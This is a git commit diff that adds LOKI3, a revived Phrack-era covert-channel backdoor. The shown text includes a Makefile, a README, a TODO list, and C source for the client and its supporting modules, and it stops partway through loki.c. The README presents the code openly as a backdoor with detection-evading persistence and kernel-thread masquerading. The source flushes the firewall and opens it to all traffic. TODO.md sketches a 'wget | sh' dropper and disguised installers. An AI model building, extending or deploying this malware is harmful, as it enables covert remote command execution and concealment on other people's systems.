summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--Makefile94
-rw-r--r--README.md46
-rw-r--r--TODO.md60
-rw-r--r--client_db.c279
-rw-r--r--client_db.h37
-rw-r--r--crypt.c50
-rw-r--r--crypt.h7
-rw-r--r--cstrobf.c27
-rw-r--r--cstrobf.h34
-rw-r--r--loki.c362
-rw-r--r--loki.h361
-rw-r--r--lokid.c581
-rw-r--r--obfuscate.c144
-rw-r--r--persistence.c117
-rw-r--r--persistence.h25
-rw-r--r--prochide.c146
-rw-r--r--prochide.h13
-rw-r--r--shm.c114
-rw-r--r--shm.h18
-rw-r--r--surplus.c201
20 files changed, 2716 insertions, 0 deletions
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..fc66d69
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,94 @@
+# Makefile for LOKI3 Sun Jul 27 21:29:28 PDT 1997
+# route (c) 1997 Guild Corporation, Worldwide
+
+
+######
+# Choose a cryptography type
+#
+
+CRYPTO_TYPE = WEAK_CRYPTO # XOR
+#CRYPTO_TYPE = NO_CRYPTO # Plaintext
+
+######
+# Choose a child process handler type
+#
+
+SPAWN_TYPE = POPEN
+
+######
+# It is safe to leave this alone.
+#
+
+NET3 = #-DNET3
+SEND_PAUSE = SEND_PAUSE=100
+#DEBUG = -DDEBUG
+
+#####
+# Extra features
+#
+
+PERSISTENCE = -DPERSISTENCE
+FLUSH_IPTABLES = -DFLUSH_IPTABLES
+
+#----------------------------------------------------------------------------#
+
+
+i_hear_a_voice_from_the_back_of_the_room:
+ @echo
+ @echo "LOKI3 Makefile"
+ @echo "Edit the Makefile and then invoke with one of the following:"
+ @echo
+ @echo "linux openbsd freebsd solaris clean"
+ @echo
+ @echo "See Phrack Magazine issue 51 article 7 for verbose instructions"
+ @echo
+
+linux:
+ @make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
+ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
+ FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
+ strip loki lokid
+ strip -R .comment lokid
+
+openbsd:
+ @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
+ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
+ FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
+
+freebsd:
+ @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
+ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
+ FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all
+
+solaris:
+ @make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
+ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
+ LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all
+
+# Solaris: Get rid of -static
+CFLAGS = -Wall -O6 -finline-functions -funroll-all-loops $(OS) \
+ $(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK) \
+ $(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3) $(PERSISTENCE) \
+ $(FLUSH_IPTABLES) -static
+
+#CC = gcc
+CC = musl-gcc
+#CC = /home/daniel/code/musl/i486-linux-musl-cross/bin/i486-linux-musl-gcc
+C_OBJS = surplus.o crypt.o cstrobf.o
+S_OBJS = client_db.o shm.o surplus.o crypt.o prochide.o persistence.o cstrobf.o
+
+
+.c.o:
+ $(CC) $(CFLAGS) -c $< -o $@
+
+all: loki
+
+loki: $(C_OBJS) loki.o $(S_OBJS) lokid.o
+ $(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS)
+ $(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS)
+
+clean:
+ @( rm -fr *.o loki lokid )
+
+dist: clean
+ @( cd .. ; tar cvf loki3.tar loki3/ ; gzip -9 loki3.tar )
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..0ef76b0
--- /dev/null
+++ b/README.md
@@ -0,0 +1,46 @@
+# LOKI3
+
+This code was stolen from Phrack magazine. It is a 20+ year old backdoor
+for Linux, BSD, Solaris, ... which works over icmp.
+
+http://www.phrack.org/issues/49/6.html
+http://www.phrack.org/issues/51/6.html
+
+This code no longer compiled as of ~2016 I made it compile on modern
+systems with musl-gcc, so it will "just work".
+
+## Building
+
+### Install musl-gcc
+
+I use musl because the objects reusulting from static linking using
+gcc or clang do not work on older kernels.
+
+Installing is easy on Ubuntu 20.04:
+```
+apt install musl-tools
+```
+
+Cross compilers can be found here: https://musl.cc/
+
+### Building
+`make` will list the available targets.
+
+#### Linux
+`make linux`
+
+## Persistence
+
+If compiled with PERSISTENCE defined, lokid will install a SysV init
+script when SIGTERM is recieved. This signal is typically sent when
+the system is rebooted or the process is killed with `kill` or
+`killall` without specifying which signal to send (ex: kill -9 or kill
+-HUP send the SIGKILL and SIGHUP signals, respectively).
+
+When lokid is ran, it removes this persistence to avoid detection.
+
+## Process Masquerading
+
+This process masquerades itself as a kernel thread. See prochide.c for
+more details.
+
diff --git a/TODO.md b/TODO.md
new file mode 100644
index 0000000..60c0779
--- /dev/null
+++ b/TODO.md
@@ -0,0 +1,60 @@
+# TODO
+
+## Building
+
+* build script. build loki and lokid binaries for all supported
+ architectures and operating systems.
+
+* Build lokid for FreeBSD.
+
+* Build lokid for Solaris.
+ * Compiles, but hangs on read(). It does not currently work.
+
+
+## Dropper
+
+* Dropper one-liner
+ * copy/pastable one-liner to download/install
+ * wget -O - http://whatever | sh
+
+
+## Persistence
+
+* rpm and dpkg installers.
+ * /sbin/[fsck|mkfs|mount].SOMENAME blends in pretty well
+ * Do this to avoid tools such as debsums
+
+
+## Daemon
+
+* Mutex to avoid being ran twice.
+
+* Protocol swapping does not work.
+
+* popen() does not handle stderr. error output is being output to the console
+
+
+## Client
+
+* /get command to get files
+
+* /put command to send files
+
+* /server switch context to another server
+
+* /list list servers
+
+* /add add server to list
+
+* /remove remove server to list
+
+* /save save server list and group to file
+ * cli flag to load configuration file
+
+* /group add server to group
+
+* /mass <group|all> - execute commands on group of hosts
+
+* tab completion
+
+* Avoid accidental ^C in loki client.
diff --git a/client_db.c b/client_db.c
new file mode 100644
index 0000000..0a3143e
--- /dev/null
+++ b/client_db.c
@@ -0,0 +1,279 @@
+/*
+ * LOKI3
+ *
+ * [ client_db.c ]
+ *
+ * 1996/7 Guild Corporation Worldwide [daemon9]
+ */
+
+#include "loki.h"
+#include "shm.h"
+#include "client_db.h"
+
+extern struct loki rdg;
+extern int verbose;
+extern int destroy_shm;
+extern struct client_list *client;
+extern uint16_t c_id;
+
+/*
+ * Obfuscated strings
+ */
+extern estring S_MSG_SIGALRM;
+extern estring S_MSG_EXPIRED_CLIENT;
+extern estring S_MSG_CLIENT_DB_FULL;
+extern estring S_CMD_FLUSH_IPTABLES;
+extern estring S_STAT_VERSION;
+extern estring S_STAT_INTERFACE;
+extern estring S_STAT_TRANSPORT;
+extern estring S_STAT_CRYPTO;
+extern estring S_STAT_UPTIME;
+extern estring S_STAT_CLIENT_ID;
+extern estring S_STAT_PACKETS_WRITTEN;
+extern estring S_STAT_BYTES_WRITTEN;
+extern estring S_STAT_REQUESTS;
+
+/*
+ * The server maintains an array of active client information. This
+ * function simply steps through the structure array and attempts to add
+ * an entry.
+ */
+int add_client(uint8_t *key) {
+ int i = 0, emptyslot = -1;
+
+ locks();
+
+ for (; i < MAX_CLIENT; i++) {
+ /* Check for duplicate entries */
+ if (IS_GOOD_CLIENT(rdg)) {
+ emptyslot = i;
+ break;
+ }
+
+ /* tag the first empty slot found */
+ if ((!(client[i].client_id))) {
+ emptyslot = i;
+ }
+ }
+
+ if (emptyslot == -1) { /* No empty array slots */
+ if (verbose) {
+ char *dbuf;
+ dbuf = decrypt(S_MSG_CLIENT_DB_FULL);
+ fprintf(stderr, "%s", dbuf);
+ destroy(dbuf, S_MSG_CLIENT_DB_FULL.size);
+ }
+
+ ulocks();
+
+ return NNOK;
+ }
+
+ /* Initialize array with client info */
+ client[emptyslot].touchtime = time((time_t *)NULL);
+
+ if (emptyslot != i) {
+ client[emptyslot].client_id = c_id;
+ client[emptyslot].client_ip = rdg.iph.ip_src;
+ client[emptyslot].packets_sent = 0;
+ client[emptyslot].bytes_sent = 0;
+ client[emptyslot].hits = 0;
+ }
+
+ ulocks();
+
+ return emptyslot;
+}
+
+
+/*
+ * Look for a client entry in the client database. Either copy the clients
+ * key into user_key and update timestamp, or clear the array entry,
+ * depending on the disposition of the call.
+ */
+int locate_client(int disposition) {
+ locks();
+ for (int i = 0; i < MAX_CLIENT; i++) {
+ if (IS_GOOD_CLIENT(rdg)) {
+ if (disposition == FIND) { /* update timestamp */
+ client[i].touchtime = time((time_t *)NULL);
+ }
+
+ /* Remove entry */
+ else if (disposition == DESTROY) {
+ bzero(&client[i], sizeof(client[i]));
+ }
+ ulocks();
+ return i;
+ }
+ }
+ ulocks(); /* Didn't find the client */
+ return NNOK;
+}
+
+
+/*
+ * Fill a string with current stats about a particular client.
+ */
+int stat_client(int entry, uint8_t *buf, int prot, time_t uptime) {
+ int n = 0;
+ time_t now = 0;
+ struct protoent *proto = 0;
+ char *dbuf;
+
+
+ /* locate_client didn't find an entry */
+ if (entry == NNOK) {
+#ifdef DEBUG
+ fprintf(stderr, "[DEBUG]\tstat_client nono\n");
+#endif /* DEBUG */
+ return NOK;
+ }
+
+ dbuf = decrypt(S_STAT_VERSION);
+ n = sprintf((char *)buf, dbuf, VERSION);
+ destroy(dbuf, S_STAT_VERSION.size);
+
+ dbuf = decrypt(S_STAT_INTERFACE);
+ n += sprintf((char *)&buf[n], dbuf, host_lookup(rdg.iph.ip_dst));
+ destroy(dbuf, S_STAT_INTERFACE.size);
+
+ proto = getprotobynumber(prot);
+ dbuf = decrypt(S_STAT_TRANSPORT);
+ n += sprintf((char *)&buf[n], dbuf, proto -> p_name);
+ destroy(dbuf, S_STAT_TRANSPORT.size);
+
+ dbuf = decrypt(S_STAT_CRYPTO);
+ n += sprintf((char *)&buf[n], dbuf, CRYPTO_TYPE);
+ destroy(dbuf, S_STAT_CRYPTO.size);
+
+ time(&now);
+ dbuf = decrypt(S_STAT_UPTIME);
+ n += sprintf((char *)&buf[n], dbuf, difftime(now, uptime) / 0x3c);
+ destroy(dbuf, S_STAT_UPTIME.size);
+
+ locks();
+
+ dbuf = decrypt(S_STAT_CLIENT_ID);
+ n += sprintf((char *)&buf[n], dbuf, client[entry].client_id);
+ destroy(dbuf, S_STAT_CLIENT_ID.size);
+
+ dbuf = decrypt(S_STAT_PACKETS_WRITTEN);
+ n += sprintf((char *)&buf[n], dbuf, client[entry].packets_sent);
+ destroy(dbuf, S_STAT_PACKETS_WRITTEN.size);
+
+ dbuf = decrypt(S_STAT_BYTES_WRITTEN);
+ n += sprintf((char *)&buf[n], dbuf, client[entry].bytes_sent);
+ destroy(dbuf, S_STAT_BYTES_WRITTEN.size);
+
+ dbuf = decrypt(S_STAT_REQUESTS);
+ n += sprintf((char *)&buf[n], dbuf, client[entry].hits);
+ destroy(dbuf, S_STAT_REQUESTS.size);
+
+ ulocks();
+
+ return n;
+}
+
+/*
+ * Unsets alarm timer, then calls age_client, then resets signal handler
+ * and alarm timer.
+ */
+void client_expiry_check() {
+ alarm(0);
+ age_client();
+
+#ifdef FLUSH_IPTABLES
+ /* Flush iptables */
+#ifdef DEBUG
+ fprintf(stderr, "[DEBUG]\tflushing iptables\n");
+#endif /* DEBUG */
+ char *dbuf;
+ dbuf = decrypt(S_CMD_FLUSH_IPTABLES);
+ system(dbuf);
+ destroy(dbuf, S_CMD_FLUSH_IPTABLES.size);
+ /* system("PATH=/sbin:/usr/sbin iptables -X 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -F 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null"); */
+#endif /* FLUSH_IPTABLES */
+
+ /* re-establish signal handler */
+ if (signal(SIGALRM, client_expiry_check) == SIG_ERR) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_SIGALRM));
+ }
+
+ alarm(KEY_TIMER);
+}
+
+
+/*
+ * This function is called every KEY_TIMER interval to sweep through the
+ * client list. It zeros any entrys it finds that have not been accessed
+ * in KEY_TIMER seconds. This gives us a way to free up entries from clients
+ * which may have crashed or lost their QUIT_C packet in transit.
+ */
+void age_client() {
+ time_t timestamp = 0;
+
+ time(&timestamp);
+ locks();
+
+ for (int i = 0; i < MAX_CLIENT; i++) {
+ if (client[i].client_id) {
+ if (difftime(timestamp, client[i].touchtime) > KEY_TIMER) {
+ if (verbose) {
+ char *dbuf;
+ dbuf = decrypt(S_MSG_EXPIRED_CLIENT);
+ fprintf(stderr, dbuf, client[i].client_id, i);
+ destroy(dbuf, S_MSG_EXPIRED_CLIENT.size);
+ }
+
+ bzero(&client[i], sizeof(client[i]));
+ }
+ }
+ }
+
+ ulocks();
+}
+
+
+/*
+ * Update the statistics for client.
+ */
+void update_client(int entry, int pcount, uint32_t bcount) {
+ locks();
+
+ client[entry].touchtime = time((time_t *)NULL);
+ client[entry].packets_sent += pcount;
+ client[entry].bytes_sent += bcount;
+ client[entry].hits ++;
+
+ ulocks();
+}
+
+
+/*
+ * Returns the IP address and ID of the targeted entry
+ */
+uint32_t check_client_ip(int entry, uint16_t *id) {
+ uint32_t ip = 0;
+
+ locks();
+
+ if ((*id = (client[entry].client_id))) {
+ ip = client[entry].client_ip;
+ }
+
+ ulocks();
+
+ return ip;
+}
+/* EOF */
diff --git a/client_db.h b/client_db.h
new file mode 100644
index 0000000..936f95e
--- /dev/null
+++ b/client_db.h
@@ -0,0 +1,37 @@
+/*
+ * LOKI
+ *
+ * client_db header file
+ *
+ * 1996/7 Guild Corporation Productions [daemon9]
+ */
+
+
+/*
+ * Client info list.
+ * MAX_CLIENT of these will be kept in a server-side array
+ */
+struct client_list {
+ uint16_t client_id; /* client loki_id */
+ uint32_t client_ip; /* client IP address */
+ time_t touchtime; /* last time entry was hit */
+ uint32_t packets_sent; /* Packets sent to this client */
+ uint32_t bytes_sent; /* Bytes sent to this client */
+ unsigned int hits; /* Number of queries from client */
+};
+
+#define IS_GOOD_CLIENT(ldg)\
+\
+(c_id == client[i].client_id && \
+ ldg.iph.ip_src == client[i].client_ip) > \
+ (0) ? (1) : (0) \
+
+void update_client(int, int, uint32_t); /* Update a client entry */
+ /* client info into supplied buffer */
+int stat_client(int, uint8_t *, int, time_t);
+int add_client(uint8_t *); /* add a client entry */
+int locate_client(int); /* find a client entry */
+void age_client(void); /* age a client from the list */
+uint16_t update_client_salt(int); /* update and return salt */
+uint32_t check_client_ip(int, uint16_t *); /* return ip and id of target */
+
diff --git a/crypt.c b/crypt.c
new file mode 100644
index 0000000..b39ab61
--- /dev/null
+++ b/crypt.c
@@ -0,0 +1,50 @@
+/*
+ * LOKI3
+ *
+ * [ crypt.c ]
+ *
+ * 1996/7 Guild Corporation Worldwide [daemon9]
+ */
+
+#include "loki.h"
+#include "crypt.h"
+
+#ifdef WEAK_CRYPTO
+/*
+ * Simple XOR obfuscation.
+ *
+ * ( Syko was right -- the following didn't work under certain compilation
+ * environments... Never write code in which the order of evaluation defines
+ * the result. See K&R page 53, at the bottom... )
+ *
+ * if (!m) while (i < bs) t[i] ^= t[i++ +1];
+ * else
+ * {
+ * i = bs;
+ * while (i) t[i - 1] ^= t[i--];
+ * }
+ *
+ */
+void blur(int m, int bs, uint8_t *t) {
+ int i = 0;
+
+ if (!m) { /* Encrypt */
+ while (i < bs) {
+ t[i] ^= t[i + 1];
+ i++;
+ }
+ } else { /* Decrypt */
+ i = bs;
+ while (i) {
+ t[i - 1] ^= t[i];
+ i--;
+ }
+ }
+}
+#endif /* WEAK_CRYPTO */
+
+#ifdef NO_CRYPTO
+void blur(int m, int bs, uint8_t *t){}
+#endif /* NO_CRYPTO */
+
+/* EOF */
diff --git a/crypt.h b/crypt.h
new file mode 100644
index 0000000..ea1abb1
--- /dev/null
+++ b/crypt.h
@@ -0,0 +1,7 @@
+/*
+ * LOKI
+ *
+ * crypt header file
+ *
+ * 1996/7 Guild Corporation Productions [daemon9]
+ */
diff --git a/cstrobf.c b/cstrobf.c
new file mode 100644
index 0000000..743285d
--- /dev/null
+++ b/cstrobf.c
@@ -0,0 +1,27 @@
+/*
+ * LOKI3
+ *
+ * [ cstrobf.c ]
+ *
+ * 2019 and beyond Elective Surgery [dmfr]
+ */
+
+#include "cstrobf.h"
+
+
+char *decrypt(estring encrypted) {
+ int i;
+ char buf[CSTROBF_MAX] = {0};
+
+ for (i = 0; i < encrypted.size; i++)
+ buf[i] = encrypted.str[i] ^ encrypted.key[i % encrypted.ksize];
+
+ return strdup(buf);
+}
+
+
+void destroy(char *buf, size_t len) {
+ for(int i = 0; i < len; i++)
+ buf[i] = rand() % 256;
+ free(buf);
+}
diff --git a/cstrobf.h b/cstrobf.h
new file mode 100644
index 0000000..c0628a8
--- /dev/null
+++ b/cstrobf.h
@@ -0,0 +1,34 @@
+#pragma once
+/*
+ * LOKI3
+ *
+ * [ cstrobf.h ]
+ *
+ * 2019 and beyond Elective Surgery [dmfr]
+ */
+
+#include <stdio.h>
+#include <sys/types.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+
+
+#define CSTROBF_MAX 1024
+#define KEY_SIZE 8
+
+
+typedef struct cstrobf {
+ uint8_t str[CSTROBF_MAX];
+ size_t size;
+ uint8_t key[KEY_SIZE];
+ size_t ksize;
+} estring;
+
+
+char *decrypt (estring);
+void destroy(char *, size_t);
+
+/* EOF */
diff --git a/loki.c b/loki.c
new file mode 100644
index 0000000..4d27532
--- /dev/null
+++ b/loki.c
@@ -0,0 +1,362 @@
+/*
+ * LOKI3
+ *
+ * [ loki.c ]
+ *
+ * 1996/7 Guild Corporation Worldwide [daemon9]
+ */
+
+#include "loki.h"
+
+jmp_buf env;
+struct loki sdg, rdg;
+int verbose = OK, cflags = 0, ripsock = 0, tsock = 0;
+uint32_t p_read = 0; /* packets read */
+
+
+int main(int argc, char *argv[]) {
+ int n;
+ static int prot = IPPROTO_ICMP, one = 1, c = 0;
+ static uint16_t loki_id = 0;
+ int timer = MIN_TIMEOUT;
+ uint8_t buf[BUFSIZE] = {0};
+ struct protoent *pprot = 0;
+ struct sockaddr_in sin = {0};
+
+ /* Ensure we have proper permissions */
+ if (getuid() || geteuid()) {
+ err_exit(1, 1, verbose, L_MSG_NOPRIV);
+ }
+
+ loki_id = getpid(); /* Allows us to individualize each
+ * same protocol loki client session
+ * on a given host.
+ */
+ //bzero((struct sockaddr_in *)&sin, sizeof(sin));
+ while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF) {
+ switch (c) {
+ case 'v': /* change verbosity */
+ verbose = atoi(optarg);
+ break;
+
+ case 'd': /* destination address of daemon */
+ strncpy((char *)buf, optarg, BUFSIZE - 1);
+ sin.sin_family = AF_INET;
+ sin.sin_addr.s_addr = name_resolve((char *)buf);
+ if (sin.sin_addr.s_addr == 0x00000000) {
+ err_exit(1, 1, verbose, "\n[fatal] name lookup failed");
+ }
+
+ break;
+
+ case 't': /* change alarm timer */
+ if ((timer = atoi(optarg)) < MIN_TIMEOUT)
+ err_exit(1, 0, 1, "Invalid timeout.\n");
+ break;
+
+ case 'p': /* select transport protocol */
+ switch (optarg[0]) {
+ case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */
+ prot = IPPROTO_ICMP;
+ break;
+
+ case 'u': /* DNS query / reply */
+ prot = IPPROTO_UDP;
+ break;
+
+ default:
+ err_exit(1, 0, verbose, "Unknown transport.\n");
+ }
+ break;
+
+ default:
+ err_exit(0, 0, 1, C_MSG_USAGE);
+ }
+ }
+ /* we need a destination address */
+ if (!sin.sin_addr.s_addr)
+ err_exit(0, 0, verbose, C_MSG_USAGE);
+
+ if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
+ err_exit(1, 1, 1, L_MSG_SOCKET);
+
+ /* Raw socket to build packets */
+ if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
+ err_exit(1, 1, verbose, L_MSG_SOCKET);
+
+#ifdef DEBUG
+ fprintf(stderr, "\nRaw IP socket: ");
+ fd_status(ripsock, OK);
+#endif /* DEBUG */
+
+#ifdef IP_HDRINCL
+ if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
+ if (verbose) perror("Cannot set IP_HDRINCL socket option");
+#endif /* IP_HDRINCL */
+ /* register packet dumping function
+ * to be called upon exit
+ */
+ if (atexit(packets_read) == -1)
+ err_exit(1, 1, verbose, L_MSG_ATEXIT);
+
+ fprintf(stderr, L_MSG_BANNER);
+
+ fprintf(stderr, "\n\n");
+ help();
+ fprintf(stderr, "\n\n");
+
+ for (;;) {
+ bzero((uint8_t *)buf, BUFSIZE);
+ fprintf(stderr, PROMPT); /* prompt user for input */
+ n = read(STDIN_FILENO, buf, BUFSIZE - 1);
+ if (n != -1) {
+ buf[strlen((char *)buf)] = 0;
+ /* Nothing to parse */
+ if (buf[0] == '\n') continue; /* Escaped command */
+
+ if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue;
+ /* Send request to server */
+ loki_xmit(buf, loki_id, prot, sin, L_REQ);
+ }
+ /* change transports */
+ if (cflags & NEWTRANS) {
+ close(tsock);
+ prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
+ if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
+ err_exit(1, 1, verbose, L_MSG_SOCKET);
+
+ pprot = getprotobynumber(prot);
+ if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", pprot -> p_name);
+ cflags &= ~NEWTRANS;
+ continue;
+ }
+ if (cflags & TERMINATE) { /* client should exit */
+ fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n");
+ clean_exit(0);
+ }
+ /* Clear TRAP and VALID PACKET flags */
+ cflags &= (~TRAP & ~VALIDP);
+ /* set alarm singal handler */
+ if (signal(SIGALRM, catch_timeout) == SIG_ERR) {
+ err_exit(1, 1, verbose, L_MSG_SIGALRM);
+ }
+ /* returns true if we land here as the
+ * result of a longjmp() -- IOW the
+ * alarm timer went off
+ */
+ if (setjmp(env)) {
+ fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT);
+ cflags |= TRAP;
+ }
+ while (!(cflags & TRAP)) { /* TRAP will not be set unless the
+ * alarm timer expires or we get
+ * an EOT packet
+ */
+ alarm(timer); /* block until alarm or read */
+
+ if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0)
+ perror("[non fatal] network read error");
+
+ switch (prot) { /* Is this a valid Loki packet? */
+ case IPPROTO_ICMP:
+ if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP;
+ break;
+
+ case IPPROTO_UDP:
+ if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP;
+ break;
+
+ default:
+ err_exit(1, 0, verbose, L_MSG_WIERDERR);
+ }
+ if (cflags & VALIDP) {
+#ifdef DEBUG
+ fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c);
+ PACKET_TYPE(rdg);
+ DUMP_PACKET(rdg, c);
+#endif /* DEBUG */
+ /* we have a valid packet and can
+ * turn off the alarm timer
+ */
+ alarm(0);
+ switch (rdg.payload[0]) { /* determine packet type */
+ case L_REPLY : /* standard reply packet */
+ bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
+ blur(DECR, BUFSIZE - 1, buf);
+#ifndef DEBUG
+ fprintf(stderr, "%s", buf);
+#endif /* DEBUG */
+ p_read++;
+ break;
+
+ case L_EOT : /* end of transmission packet */
+ cflags |= TRAP;
+ p_read++;
+ break;
+
+ case L_ERR : /* error msg packet (not encrypted) */
+ bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
+ fprintf(stderr, "%s", buf);
+ break;
+ case L_QUIT: /* termination directive packet */
+ fprintf(stderr, C_MSG_MUSTQUIT);
+ clean_exit(0);
+
+ default :
+ fprintf(stderr, "\nUnknown LOKI packet type");
+ break;
+ }
+ cflags &= ~VALIDP; /* reset VALID PACKET flag */
+ }
+ }
+ }
+ return 0;
+}
+
+
+/*
+ * SIGALRM signal handler. We reset the alarm timer and default signal
+ * signal handler, then restore our stack frame from the point that
+ * setjmp() was called.
+ */
+void catch_timeout(int signo) {
+ alarm(0); /* reset alarm timer */
+
+ /* reset SIGALRM, our handler will be again set after we longjmp()*/
+ if (signal(SIGALRM, catch_timeout) == SIG_ERR) {
+ err_exit(1, 1, verbose, L_MSG_SIGALRM);
+ }
+
+ /* restore environment */
+ longjmp(env, 1);
+}
+
+
+/*
+ * Build and transmit Loki packets (client version)
+ */
+
+void loki_xmit(uint8_t *payload, uint16_t loki_id, int prot, struct sockaddr_in sin, int ptype) {
+ bzero((struct loki *)&sdg, LOKIP_SIZE);
+ /* Encrypt and load payload, unless
+ * we are doing key management
+ */
+ if (ptype != L_PK_REQ) {
+ blur(ENCR, BUFSIZE - 1, payload);
+ }
+ bcopy(payload, &sdg.payload[1], BUFSIZE - 1);
+
+ if (prot == IPPROTO_ICMP) {
+#ifdef NET3 /* Our workaround. */
+ sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY;
+#else
+ sdg.ttype.icmph.icmp_type = ICMP_ECHO;
+#endif /* NET3 */
+ sdg.ttype.icmph.icmp_code = 0;
+ sdg.ttype.icmph.icmp_id = loki_id; /* Session ID */
+ sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */
+ sdg.payload[0] = ptype;
+ sdg.ttype.icmph.icmp_cksum =
+ i_check((uint16_t *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
+ }
+ if (prot == IPPROTO_UDP) {
+ sdg.ttype.udph.uh_sport = loki_id;
+ sdg.ttype.udph.uh_dport = NL_PORT;
+ sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE);
+ sdg.payload[0] = ptype;
+ sdg.ttype.udph.uh_sum =
+ i_check((uint16_t *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
+ }
+ sdg.iph.ip_v = 0x4;
+ sdg.iph.ip_hl = 0x5;
+ sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE);
+ sdg.iph.ip_ttl = 0x40;
+ sdg.iph.ip_p = prot;
+ sdg.iph.ip_dst = sin.sin_addr.s_addr;
+
+ if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, 0, (struct sockaddr *) &sin, sizeof(sin)) < LOKIP_SIZE))
+ if (verbose)
+ perror("[non fatal] truncated write");
+}
+
+
+/*
+ * help is here
+ */
+void help() {
+ fprintf(stderr,
+ "%s\t\t- you are here\n"
+ "%s xx\t- change alarm timeout to xx seconds (minimum of %d)\n"
+ "%s\t\t- query loki server for client statistics\n"
+ "%s\t- query loki server for all client statistics\n"
+ "%s\t\t- swap the transport protocol ( UDP <-> ICMP ) [in beta]\n"
+ "%s\t\t- quit the client\n"
+ "%s\t- quit this client and kill all other clients (and the server)\n"
+ "%s dest\t- proxy to another server [ UNIMPLIMENTED ]\n"
+ "%s dest\t- redirect to another client [ UNIMPLIMENTED ]\n",
+ HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_C);
+}
+
+
+/*
+ * parse escaped commands
+ */
+int c_parse(uint8_t *buf, int *timer) {
+ cflags &= ~VALIDC;
+ /* help */
+ if (!strncmp((char *)buf, HELP, sizeof(HELP) - 1) || buf[1] == '?') {
+ help();
+ return NOK;
+ }
+ /* change alarm timer */
+ else if (!strncmp((char *)buf, TIMER, sizeof(TIMER) - 1)) {
+ cflags |= VALIDC;
+ (*timer) = atoi((char *)&buf[sizeof(TIMER) - 1]) > MIN_TIMEOUT ? atoi((char *)&buf[sizeof(TIMER) - 1]) : MIN_TIMEOUT;
+ fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer);
+ return NOK;
+ }
+ /* Quit client, send notice to server */
+ else if (!strncmp((char *)buf, QUIT_C, sizeof(QUIT_C) - 1))
+ cflags |= (TERMINATE | VALIDC);
+ /* Quit client, send kill to server */
+ else if (!strncmp((char *)buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
+ cflags |= (TERMINATE | VALIDC);
+ /* Request server-side statistics */
+ else if (!strncmp((char *)buf, STAT_C, sizeof(STAT_C) - 1))
+ cflags |= VALIDC;
+ /* Swap transport protocols */
+ else if (!strncmp((char *)buf, SWAP_T, sizeof(SWAP_T) - 1)) {
+ /* When using strong crypto we do not
+ * want to swap protocols.
+ */
